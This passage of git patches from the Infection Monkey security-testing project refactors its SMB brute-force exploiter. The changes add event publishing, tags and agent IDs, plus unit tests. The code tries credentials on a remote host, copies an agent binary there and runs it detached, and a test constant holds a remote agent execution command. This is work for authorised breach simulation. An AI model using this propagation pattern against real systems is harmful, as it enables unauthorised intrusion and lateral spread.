b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index d5f86120204..b6448258692 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -5,6 +5,7 @@ from typing import Callable, Iterable from common.credentials import Credentials +from common.event_queue import IAgentEventPublisher from common.types import Event from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.i_puppet import ExploiterResultData, TargetHost @@ -36,6 +37,7 @@ def __init__( exploit_client_factory: IRemoteAccessClientFactory, get_credentials: Callable[[], Iterable[Credentials]], agent_binary_repository: IAgentBinaryRepository, + agent_event_publisher: IAgentEventPublisher, ): """ :param destination_path: The destination path into which copy the agent @@ -49,6 +51,7 @@ def __init__( self._exploit_client_factory = exploit_client_factory self._get_credentials = get_credentials self._agent_binary_repository = agent_binary_repository + self._agent_event_publisher = agent_event_publisher def exploit_host( self, diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index f5dfc270373..ea6a331d445 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -10,6 +10,7 @@ from common import OperatingSystem from common.credentials import Credentials +from common.event_queue import IAgentEventPublisher from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.exploit.tools import ( BruteForceCredentialsProvider, @@ -56,11 +57,21 @@ def mock_agent_binary_repository() -> IAgentBinaryRepository: return repository +@pytest.fixture +def mock_agent_event_publisher() -> IAgentEventPublisher: + publisher = MagicMock(spec=IAgentEventPublisher) + publisher.get_published_events = lambda: [ + param[0][0] for param in publisher.publish.call_args_list + ] + return publisher + + @pytest.fixture def brute_force_exploiter( mock_exploit_client_factory: IRemoteAccessClientFactory, mock_credentials_repository: IPropagationCredentialsRepository, mock_agent_binary_repository: IAgentBinaryRepository, + mock_agent_event_publisher: IAgentEventPublisher, ) -> BruteForceExploiter: return BruteForceExploiter( DESTINATION_PATH, @@ -68,6 +79,7 @@ def brute_force_exploiter( mock_exploit_client_factory, BruteForceCredentialsProvider(mock_credentials_repository, lambda a: a), mock_agent_binary_repository, + mock_agent_event_publisher, ) From e715cb9493cebe0a1a3d76abdb36eb944d13e1c4 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 15:24:53 +0000 Subject: [PATCH 0782/1338] SMB: Add exploiter name to BruteForceExploiter --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 2 ++ monkey/infection_monkey/exploit/tools/brute_force_exploiter.py | 3 +++ .../exploit/tools/test_brute_force_exploiter.py | 2 ++ 3 files changed, 7 insertions(+) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index ba432f7341c..ee902a76767 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -38,6 +38,7 @@ def __init__( propagation_credentials_repository: IPropagationCredentialsRepository, **kwargs, ): + self._plugin_name = plugin_name self._agent_event_publisher = agent_event_publisher self._agent_binary_repository = agent_binary_repository self._credentials_provider = BruteForceCredentialsProvider( @@ -71,6 +72,7 @@ def run( ) brute_force_exploiter = BruteForceExploiter( + self._plugin_name, get_agent_dst_path(host), command_builder, smb_exploit_client_factory, diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index b6448258692..389cffd91d7 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -32,6 +32,7 @@ class BruteForceExploiter: def __init__( self, + exploiter_name: str, destination_path: PurePath, build_command: Callable[[PurePath, PurePath], str], exploit_client_factory: IRemoteAccessClientFactory, @@ -40,12 +41,14 @@ def __init__( agent_event_publisher: IAgentEventPublisher, ): """ + :param exploiter_name: The name of the exploiter :param destination_path: The destination path into which copy the agent :param build_command: A function that builds a command to propagate the Monkey agent :param exploit_client_factory: A factory that creates the exploit client :param get_credentials: A function that provides credentials for brute-forcing :param agent_binary_repository: A repository that provides the agent binary """ + self._exploiter_name = exploiter_name self._destination_path = destination_path self._build_command = build_command self._exploit_client_factory = exploit_client_factory diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index ea6a331d445..7ddddb67452 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -25,6 +25,7 @@ CREDENTIALS: List[Credentials] = [] DESTINATION_PATH = PurePath("destination_path") +EXPLOITER_NAME = "exploiter_name" OTHER_PATHS = [PurePath("other_path1"), PurePath("other_path2"), PurePath("other_path3")] @@ -74,6 +75,7 @@ def brute_force_exploiter( mock_agent_event_publisher: IAgentEventPublisher, ) -> BruteForceExploiter: return BruteForceExploiter( + EXPLOITER_NAME, DESTINATION_PATH, lambda a, b: "command", mock_exploit_client_factory, From 66fe6cb223c17a13e6292094162bdbf37e469f18 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 15:26:18 +0000 Subject: [PATCH 0783/1338] SMB: Add IAgentEventPublisher to BruteForceExploiter --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 1 + monkey/infection_monkey/exploit/tools/brute_force_exploiter.py | 1 + 2 files changed, 2 insertions(+) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index ee902a76767..570d315f52b 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -78,6 +78,7 @@ def run( smb_exploit_client_factory, self._credentials_provider, self._agent_binary_repository, + self._agent_event_publisher, ) try: diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 389cffd91d7..7c9ebf0cb16 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -47,6 +47,7 @@ def __init__( :param exploit_client_factory: A factory that creates the exploit client :param get_credentials: A function that provides credentials for brute-forcing :param agent_binary_repository: A repository that provides the agent binary + :param agent_event_publisher: A publisher that publishes agent events """ self._exploiter_name = exploiter_name self._destination_path = destination_path From e234c205cdb3705619b75b5603a36d72ad8c0c99 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 11:17:50 -0400 Subject: [PATCH 0784/1338] Agent: Add operating_system paRameter to build_command --- .../exploiters/smb/src/smb_command_builder.py | 5 +++++ .../exploit/tools/brute_force_exploiter.py | 5 +++-- .../exploiters/smb/test_smb_command_builder.py | 0 .../exploit/tools/test_brute_force_exploiter.py | 11 ++++++++++- 4 files changed, 18 insertions(+), 3 deletions(-) create mode 100644 monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py index 4df1e1a4fbd..17b2c5d1cc2 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py @@ -1,6 +1,7 @@ from pathlib import PurePath from typing import Sequence +from common import OperatingSystem from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, MONKEY_ARG from infection_monkey.utils.commands import build_monkey_commandline @@ -8,9 +9,13 @@ def build_smb_command( servers: Sequence[str], current_depth: int, + operating_system: OperatingSystem, remote_agent_binary_full_path: PurePath, remote_agent_binary_destination_path: PurePath, ) -> str: + if operating_system != OperatingSystem.WINDOWS: + raise Exception(f"Unsupported operating system: {operating_system}") + if ( str(remote_agent_binary_full_path).lower() != str(remote_agent_binary_destination_path).lower() diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 7c9ebf0cb16..ceca11fb6e5 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -4,6 +4,7 @@ from pathlib import PurePath from typing import Callable, Iterable +from common import OperatingSystem from common.credentials import Credentials from common.event_queue import IAgentEventPublisher from common.types import Event @@ -34,7 +35,7 @@ def __init__( self, exploiter_name: str, destination_path: PurePath, - build_command: Callable[[PurePath, PurePath], str], + build_command: Callable[[OperatingSystem, PurePath, PurePath], str], exploit_client_factory: IRemoteAccessClientFactory, get_credentials: Callable[[], Iterable[Credentials]], agent_binary_repository: IAgentBinaryRepository, @@ -109,7 +110,7 @@ def _propagate( agent_binary = self._agent_binary_repository.get_agent_binary(target_host_os) file_path = self._copy_file(agent_binary, self._destination_path, exploit_client, interrupt) - command = self._build_command(file_path, self._destination_path) + command = self._build_command(target_host_os, file_path, self._destination_path) exploit_client.execute_detached(command) def _copy_file( diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 7ddddb67452..cb3e4f0fbe7 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -27,6 +27,7 @@ DESTINATION_PATH = PurePath("destination_path") EXPLOITER_NAME = "exploiter_name" OTHER_PATHS = [PurePath("other_path1"), PurePath("other_path2"), PurePath("other_path3")] +EXECUTE_AGENT_COMMAND = "cmd.exe C:\\Windows\\Temp\\agent m0nk3y" @pytest.fixture @@ -77,7 +78,7 @@ def brute_force_exploiter( return BruteForceExploiter( EXPLOITER_NAME, DESTINATION_PATH, - lambda a, b: "command", + lambda a, b, c: EXECUTE_AGENT_COMMAND, mock_exploit_client_factory, BruteForceCredentialsProvider(mock_credentials_repository, lambda a: a), mock_agent_binary_repository, @@ -173,6 +174,14 @@ def test_exploit_host__can_interrupt_while_trying_other_paths( assert not result.propagation_success +def test_exploit_host__build_command( + brute_force_exploiter: BruteForceExploiter, + mock_exploit_client: IRemoteAccessClient, +): + run_brute_force_exploiter(brute_force_exploiter) + mock_exploit_client.execute_detached.assert_called_with(EXECUTE_AGENT_COMMAND) + + def test_exploit_host__execute_detached_fails( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, From bf699eead3c035dd4818784d7abe04fa1edf6c1c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 11:29:40 -0400 Subject: [PATCH 0785/1338] UT: Add tests for build_smb_command() --- .../smb/test_smb_command_builder.py | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py index e69de29bb2d..10aa9c2bc3b 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py @@ -0,0 +1,65 @@ +from pathlib import PureWindowsPath + +import pytest +from agent_plugins.exploiters.smb.src.smb_command_builder import build_smb_command + +from common import OperatingSystem +from infection_monkey.model import DROPPER_ARG, MONKEY_ARG + +DROPPER_EXE_PATH = PureWindowsPath("C:\\dropper.exe") +AGENT_EXE_PATH = PureWindowsPath("C:\\agent.exe") + + +def test_exception_raised_for_linux(): + with pytest.raises(Exception): + build_smb_command( + ["127.0.0.1"], + 2, + OperatingSystem.LINUX, + DROPPER_EXE_PATH, + AGENT_EXE_PATH, + ) + + +@pytest.mark.parametrize( + "remote_agent_binary_full_path,remote_agent_binary_destination_path,", + [ + (DROPPER_EXE_PATH, AGENT_EXE_PATH), + (AGENT_EXE_PATH, AGENT_EXE_PATH), + ], +) +def test_servers( + remote_agent_binary_full_path: PureWindowsPath, + remote_agent_binary_destination_path: PureWindowsPath, +): + servers = ["127.0.0.1", "192.168.1.100", "172.1.2.3"] + command = build_smb_command( + servers, 2, OperatingSystem.WINDOWS, DROPPER_EXE_PATH, AGENT_EXE_PATH + ) + + for s in servers: + assert s in command + + +def test_dropper_used(): + command = build_smb_command( + ["127.0.0.1"], + 2, + OperatingSystem.WINDOWS, + DROPPER_EXE_PATH, + AGENT_EXE_PATH, + ) + + assert DROPPER_ARG in command + + +def test_monkey_used(): + command = build_smb_command( + ["127.0.0.1"], + 2, + OperatingSystem.WINDOWS, + AGENT_EXE_PATH, + AGENT_EXE_PATH, + ) + + assert MONKEY_ARG in command From c954e7abc1465e27ba583d8361f391b51b016cad Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 15:50:34 +0000 Subject: [PATCH 0786/1338] SMB: Add tags to IRemoteAccessClient methods --- .../exploit/tools/brute_force_exploiter.py | 14 +++++++++----- .../exploit/tools/i_remote_access_client.py | 17 +++++++++++++---- 2 files changed, 22 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index ceca11fb6e5..75171bd214b 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -2,7 +2,7 @@ from contextlib import suppress from io import BytesIO from pathlib import PurePath -from typing import Callable, Iterable +from typing import Callable, Iterable, MutableSet from common import OperatingSystem from common.credentials import Credentials @@ -92,8 +92,9 @@ def _exploit(self, exploit_client: IRemoteAccessClient, interrupt: Event): credential_combinations = self._get_credentials() for brute_force_credentials in interruptible_iter(credential_combinations, interrupt): + tags: MutableSet[str] = set() try: - exploit_client.login(brute_force_credentials) + exploit_client.login(brute_force_credentials, tags) return except RemoteAuthenticationError: continue @@ -111,7 +112,8 @@ def _propagate( file_path = self._copy_file(agent_binary, self._destination_path, exploit_client, interrupt) command = self._build_command(target_host_os, file_path, self._destination_path) - exploit_client.execute_detached(command) + tags: MutableSet[str] = set() + exploit_client.execute_detached(command, tags) def _copy_file( self, @@ -121,14 +123,16 @@ def _copy_file( interrupt: Event, ) -> PurePath: file_data = file.getvalue() + tags: MutableSet[str] = set() with suppress(RemoteFileCopyError): - exploit_client.copy_file(file_data, destination) + exploit_client.copy_file(file_data, destination, tags) return destination other_destinations = exploit_client.get_writable_paths() for other_destination in interruptible_iter(other_destinations, interrupt): with suppress(RemoteFileCopyError): - exploit_client.copy_file(file_data, other_destination) + tags = set() + exploit_client.copy_file(file_data, other_destination, tags) return other_destination raise Exception("Failed to copy file") diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index eea874ecf78..136805ea369 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -1,6 +1,6 @@ from abc import ABC, abstractmethod from pathlib import PurePath -from typing import Collection +from typing import Collection, MutableSet from common import OperatingSystem from common.credentials import Credentials @@ -34,11 +34,14 @@ class IRemoteAccessClient(ABC): """An interface for clients that execute remote commands""" @abstractmethod - def login(self, credentials: Credentials): + def login(self, credentials: Credentials, tags: MutableSet[str]): """ Establish an authenticated session with the remote host + The `tags` argument will be updated with the techniques used to login. + :param credentials: Credentials to use for login + :param tags: Tags describing the techniques used to login :raises RemoteAuthenticationError: If login failed """ pass @@ -54,12 +57,15 @@ def get_os(self) -> OperatingSystem: pass @abstractmethod - def copy_file(self, file: bytes, dest: PurePath): + def copy_file(self, file: bytes, dest: PurePath, tags: MutableSet[str]): """ Copy a file to the remote host + The `tags` argument will be updated with the techniques used to copy the file. + :param file: File to copy :param dest: Destination path + :param tags: Tags describing the techniques used to copy the file :raises RemoteFileCopyError: If copy failed """ pass @@ -74,14 +80,17 @@ def get_writable_paths(self) -> Collection[PurePath]: pass @abstractmethod - def execute_detached(self, command: str): + def execute_detached(self, command: str, tags: MutableSet[str]): """ Execute a command on the remote host in a detached process The command will be executed in a detached process, which allows the client to disconnect from the remote host while allowing the command to continue running. + The `tags` argument will be updated with the techniques used to execute the command. + :param command: Command to execute + :param tags: Tags describing the techniques used to execute the command :raises RemoteCommandExecutionError: If execution failed """ pass From 660840be0ae7916fd03a663138b3fe246377f2b4 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 16:06:54 +0000 Subject: [PATCH 0787/1338] SMB: Add tags to BruteForceExploiter init --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 1 + .../infection_monkey/exploit/tools/brute_force_exploiter.py | 5 ++++- .../exploit/tools/test_brute_force_exploiter.py | 4 +++- 3 files changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 570d315f52b..3612269f8b0 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -79,6 +79,7 @@ def run( self._credentials_provider, self._agent_binary_repository, self._agent_event_publisher, + {"smb-exploiter"}, ) try: diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 75171bd214b..1a32e9b7214 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -2,7 +2,7 @@ from contextlib import suppress from io import BytesIO from pathlib import PurePath -from typing import Callable, Iterable, MutableSet +from typing import Callable, Iterable, MutableSet, Set from common import OperatingSystem from common.credentials import Credentials @@ -40,6 +40,7 @@ def __init__( get_credentials: Callable[[], Iterable[Credentials]], agent_binary_repository: IAgentBinaryRepository, agent_event_publisher: IAgentEventPublisher, + tags: Set[str], ): """ :param exploiter_name: The name of the exploiter @@ -49,6 +50,7 @@ def __init__( :param get_credentials: A function that provides credentials for brute-forcing :param agent_binary_repository: A repository that provides the agent binary :param agent_event_publisher: A publisher that publishes agent events + :param tags: Tags to add to the agent events """ self._exploiter_name = exploiter_name self._destination_path = destination_path @@ -57,6 +59,7 @@ def __init__( self._get_credentials = get_credentials self._agent_binary_repository = agent_binary_repository self._agent_event_publisher = agent_event_publisher + self._tags = tags def exploit_host( self, diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index cb3e4f0fbe7..d6c69cf8e78 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -27,6 +27,7 @@ DESTINATION_PATH = PurePath("destination_path") EXPLOITER_NAME = "exploiter_name" OTHER_PATHS = [PurePath("other_path1"), PurePath("other_path2"), PurePath("other_path3")] +TAGS = {"tag1"} EXECUTE_AGENT_COMMAND = "cmd.exe C:\\Windows\\Temp\\agent m0nk3y" @@ -83,6 +84,7 @@ def brute_force_exploiter( BruteForceCredentialsProvider(mock_credentials_repository, lambda a: a), mock_agent_binary_repository, mock_agent_event_publisher, + TAGS, ) @@ -179,7 +181,7 @@ def test_exploit_host__build_command( mock_exploit_client: IRemoteAccessClient, ): run_brute_force_exploiter(brute_force_exploiter) - mock_exploit_client.execute_detached.assert_called_with(EXECUTE_AGENT_COMMAND) + mock_exploit_client.execute_detached.assert_called_with(EXECUTE_AGENT_COMMAND, set()) def test_exploit_host__execute_detached_fails( From e9f1f591c5578186e6ab52b4fea540ac54e9803e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 16:16:36 +0000 Subject: [PATCH 0788/1338] SMB: Add AgentID to BruteForceExploiter init --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 2 ++ .../infection_monkey/exploit/tools/brute_force_exploiter.py | 5 ++++- .../exploit/tools/test_brute_force_exploiter.py | 3 +++ 3 files changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 3612269f8b0..7ab83698f2e 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -39,6 +39,7 @@ def __init__( **kwargs, ): self._plugin_name = plugin_name + self._agent_id = agent_id self._agent_event_publisher = agent_event_publisher self._agent_binary_repository = agent_binary_repository self._credentials_provider = BruteForceCredentialsProvider( @@ -73,6 +74,7 @@ def run( brute_force_exploiter = BruteForceExploiter( self._plugin_name, + self._agent_id, get_agent_dst_path(host), command_builder, smb_exploit_client_factory, diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 1a32e9b7214..26e1feac873 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -7,7 +7,7 @@ from common import OperatingSystem from common.credentials import Credentials from common.event_queue import IAgentEventPublisher -from common.types import Event +from common.types import AgentID, Event from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.utils.threading import interruptible_iter @@ -34,6 +34,7 @@ class BruteForceExploiter: def __init__( self, exploiter_name: str, + agent_id: AgentID, destination_path: PurePath, build_command: Callable[[OperatingSystem, PurePath, PurePath], str], exploit_client_factory: IRemoteAccessClientFactory, @@ -44,6 +45,7 @@ def __init__( ): """ :param exploiter_name: The name of the exploiter + :param agent_id: The ID of the agent that is running this exploiter :param destination_path: The destination path into which copy the agent :param build_command: A function that builds a command to propagate the Monkey agent :param exploit_client_factory: A factory that creates the exploit client @@ -53,6 +55,7 @@ def __init__( :param tags: Tags to add to the agent events """ self._exploiter_name = exploiter_name + self._agent_id = agent_id self._destination_path = destination_path self._build_command = build_command self._exploit_client_factory = exploit_client_factory diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index d6c69cf8e78..9518e4912f2 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -4,6 +4,7 @@ from threading import Event from typing import Any, List from unittest.mock import MagicMock +from uuid import UUID import pytest from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS @@ -23,6 +24,7 @@ from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository +AGENT_ID = UUID("5536298a-c262-46b8-8c62-da3fceb24edf") CREDENTIALS: List[Credentials] = [] DESTINATION_PATH = PurePath("destination_path") EXPLOITER_NAME = "exploiter_name" @@ -78,6 +80,7 @@ def brute_force_exploiter( ) -> BruteForceExploiter: return BruteForceExploiter( EXPLOITER_NAME, + AGENT_ID, DESTINATION_PATH, lambda a, b, c: EXECUTE_AGENT_COMMAND, mock_exploit_client_factory, From 65e677d3bb8eb57635e1c2024375326aca42bdaf Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 16:17:54 +0000 Subject: [PATCH 0789/1338] SMB: Add propagation/exploitation event methods to BruteForceExploiter --- .../exploit/tools/brute_force_exploiter.py | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 26e1feac873..b8d79685d73 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -2,9 +2,11 @@ from contextlib import suppress from io import BytesIO from pathlib import PurePath +from time import time from typing import Callable, Iterable, MutableSet, Set from common import OperatingSystem +from common.agent_events import ExploitationEvent, PropagationEvent from common.credentials import Credentials from common.event_queue import IAgentEventPublisher from common.types import AgentID, Event @@ -142,3 +144,41 @@ def _copy_file( return other_destination raise Exception("Failed to copy file") + + def _publish_exploitation_event( + self, + target_host: TargetHost, + time: float = time(), + success: bool = False, + tags: Set[str] = set(), + error_message: str = "", + ): + exploitation_event = ExploitationEvent( + source=self._agent_id, + target=target_host.ip, + success=success, + exploiter_name=self._exploiter_name, + error_message=error_message, + timestamp=time, + tags=frozenset(tags), + ) + self._agent_event_publisher.publish(exploitation_event) + + def _publish_propagation_event( + self, + target_host: TargetHost, + time: float = time(), + success: bool = False, + tags: Set[str] = set(), + error_message: str = "", + ): + propagation_event = PropagationEvent( + source=self._agent_id, + target=target_host.ip, + success=success, + exploiter_name=self._exploiter_name, + error_message=error_message, + timestamp=time, + tags=frozenset(tags), + ) + self._agent_event_publisher.publish(propagation_event) From d7c7f8d9c9a49a97dc618d779b6eb5c340982f19 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 16:47:04 +0000 Subject: [PATCH 0790/1338] SMB: Publish propagation, exploitation events in BruteForceExploiter --- .../exploit/tools/brute_force_exploiter.py | 39 ++++++++++--- .../tools/test_brute_force_exploiter.py | 55 +++++++++++++------ 2 files changed, 69 insertions(+), 25 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index b8d79685d73..7bc8df48aa2 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -18,6 +18,7 @@ IRemoteAccessClient, IRemoteAccessClientFactory, RemoteAuthenticationError, + RemoteCommandExecutionError, RemoteFileCopyError, ) @@ -84,7 +85,7 @@ def exploit_host( exploit_client = self._exploit_client_factory.create() try: - self._exploit(exploit_client, interrupt) + self._exploit(exploit_client, host, interrupt) except Exception as err: logger.exception(f"Failed to exploit {host}: {err}") return ExploiterResultData(exploitation_success=False, propagation_success=False) @@ -96,15 +97,17 @@ def exploit_host( logger.exception(f"Failed to propagate to {host}: {err}") return ExploiterResultData(exploitation_success=True, propagation_success=False) - def _exploit(self, exploit_client: IRemoteAccessClient, interrupt: Event): + def _exploit(self, exploit_client: IRemoteAccessClient, host: TargetHost, interrupt: Event): credential_combinations = self._get_credentials() for brute_force_credentials in interruptible_iter(credential_combinations, interrupt): tags: MutableSet[str] = set() try: exploit_client.login(brute_force_credentials, tags) + self._publish_exploitation_event(host, success=True, tags=self._tags.union(tags)) return except RemoteAuthenticationError: + self._publish_exploitation_event(host, success=False, tags=self._tags.union(tags)) continue raise Exception("Failed to login with the given credentials") @@ -117,31 +120,53 @@ def _propagate( ): target_host_os = exploit_client.get_os() agent_binary = self._agent_binary_repository.get_agent_binary(target_host_os) - file_path = self._copy_file(agent_binary, self._destination_path, exploit_client, interrupt) + file_path = self._copy_file( + agent_binary, self._destination_path, exploit_client, host, interrupt + ) command = self._build_command(target_host_os, file_path, self._destination_path) tags: MutableSet[str] = set() - exploit_client.execute_detached(command, tags) + try: + exploit_client.execute_detached(command, tags) + self._publish_propagation_event(host, success=True, tags=self._tags.union(tags)) + except RemoteCommandExecutionError: + self._publish_propagation_event(host, success=False, tags=self._tags.union(tags)) + raise def _copy_file( self, file: BytesIO, destination: PurePath, exploit_client: IRemoteAccessClient, + host: TargetHost, interrupt: Event, ) -> PurePath: file_data = file.getvalue() tags: MutableSet[str] = set() - with suppress(RemoteFileCopyError): + try: exploit_client.copy_file(file_data, destination, tags) return destination + except RemoteFileCopyError as err: + self._publish_exploitation_event( + host, + success=False, + tags=self._tags.union(tags), + error_message=str(err), + ) other_destinations = exploit_client.get_writable_paths() for other_destination in interruptible_iter(other_destinations, interrupt): - with suppress(RemoteFileCopyError): - tags = set() + tags = set() + try: exploit_client.copy_file(file_data, other_destination, tags) return other_destination + except RemoteFileCopyError as err: + self._publish_exploitation_event( + host, + success=False, + tags=self._tags.union(tags), + error_message=str(err), + ) raise Exception("Failed to copy file") diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 9518e4912f2..b7ff9cfd68c 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -10,6 +10,7 @@ from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS from common import OperatingSystem +from common.agent_events import ExploitationEvent, PropagationEvent from common.credentials import Credentials from common.event_queue import IAgentEventPublisher from infection_monkey.exploit import IAgentBinaryRepository @@ -19,6 +20,7 @@ IRemoteAccessClient, IRemoteAccessClientFactory, RemoteAuthenticationError, + RemoteCommandExecutionError, RemoteFileCopyError, ) from infection_monkey.i_puppet import ExploiterResultData, TargetHost 